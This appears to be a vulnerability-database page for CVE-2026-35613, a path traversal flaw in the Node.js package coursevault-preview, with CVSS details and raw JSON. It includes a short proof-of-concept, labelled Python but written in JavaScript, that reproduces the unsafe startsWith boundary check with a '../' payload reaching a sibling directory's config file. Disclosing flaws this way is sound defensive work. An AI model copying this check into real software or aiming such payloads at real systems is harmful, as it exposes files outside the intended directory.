Security Vulnerability Report
中文
CVE-2026-35613 CVSS 5.1 MEDIUM

CVE-2026-35613

Published: 2026-04-07 17:16:36
Last Modified: 2026-05-01 18:59:49

Description

coursevault-preview is a utility for previewing course material files from a configured directory. coursevault-preview versions prior to 0.1.1 contain a path traversal vulnerability in the resolveSafe utility. The boundary check used String.prototype.startsWith(baseDir) on a normalized path, which does not enforce a directory boundary. An attacker who controls the relativePath argument to affected CoursevaultPreview methods may be able to read files outside the configured baseDir when a sibling directory exists whose name shares the same string prefix. This vulnerability is fixed in 0.1.1.

CVSS Details

CVSS Score
5.1
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:moritzmyrz:coursevault-preview:*:*:*:*:*:node.js:*:* - VULNERABLE
coursevault-preview < 0.1.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// Vulnerable logic simulation in Node.js const path = require('path'); function resolveSafe(baseDir, relativePath) { const resolvedPath = path.resolve(baseDir, relativePath); // Vulnerable check: only checks string prefix if (resolvedPath.startsWith(baseDir)) { return resolvedPath; } return null; } // Scenario const baseDir = '/var/www/coursevault'; // Assume /var/www/coursevault_old exists const payload = '../coursevault_old/config.db'; const result = resolveSafe(baseDir, payload); if (result) { console.log(`[+] Exploit Successful! Reading: ${result}`); }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-35613", "sourceIdentifier": "[email protected]", "published": "2026-04-07T17:16:35.583", "lastModified": "2026-05-01T18:59:48.570", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "coursevault-preview is a utility for previewing course material files from a configured directory. coursevault-preview versions prior to 0.1.1 contain a path traversal vulnerability in the resolveSafe utility. The boundary check used String.prototype.startsWith(baseDir) on a normalized path, which does not enforce a directory boundary. An attacker who controls the relativePath argument to affected CoursevaultPreview methods may be able to read files outside the configured baseDir when a sibling directory exists whose name shares the same string prefix. This vulnerability is fixed in 0.1.1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 5.1, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.4, "impactScore": 3.6}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 4.7, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.0, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-22"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:moritzmyrz:coursevault-preview:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "0.1.1", "matchCriteriaId": "FBD01254-D83E-43FE-B695-5ADF82D00EDD"}]}]}], "references": [{"url": "https://github.com/moritzmyrz/coursevault-preview/security/advisories/GHSA-9h9m-rr67-9jpg", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}